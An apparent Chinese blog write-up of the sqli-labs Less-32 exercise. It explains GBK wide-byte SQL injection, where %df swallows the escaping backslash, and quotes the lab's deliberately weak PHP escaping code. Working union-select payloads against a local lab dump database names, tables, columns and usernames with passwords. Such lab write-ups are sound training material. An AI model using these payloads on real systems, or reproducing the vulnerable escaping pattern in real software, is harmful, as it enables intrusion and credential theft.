Sqli-labs Less-32 宽字节注入 嵌套查询

关键代码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

上述函数为过滤 ' \ 的函数,将 ' 转为 \' , 将 \ 转为 \\ ,将 " 转为 \"。因此此处我们只能考虑background中的第一个思路,添加一个%df后,将%5c吃掉即可。

 

首先输入:http://127.0.0.1/sql/Less-32/?id=1',页面没有报错,返回的信息如下:

Hint: The Query String you input is escaped as : 1\'
The Query String you input in Hex becomes : 315c27

从返回的结果可以看出,参数id=1在数据库查询时是被单引号包围的,当传入id=1'时,传入的单引号又被转义符(反斜线)转义,导致参数id无法逃逸单引号的包围,所以在一般情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸。

Payload如下

http://127.0.0.1/sql/Less-32/?id=-1%df' union select 1,database(),3--+

可以看出,成功爆出当前数据库。

 

1、爆数据库

http://127.0.0.1/sql/Less-32/?id=-1%df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

 

2、爆数据表

http://127.0.0.1/sql/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),3--+

此处用到了另一个方法:嵌套查询。来逃逸'

 

3、爆数据列

http://127.0.0.1/sql/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),3--+

 

4、爆内容

http://127.0.0.1/sql/Less-32/?id=-1%df' union select 1,(select group_concat(username,0x3a,password) from users),3--+

 

posted @ 2020-04-09 22:22  zhengna  阅读(833)  评论(0编辑  收藏  举报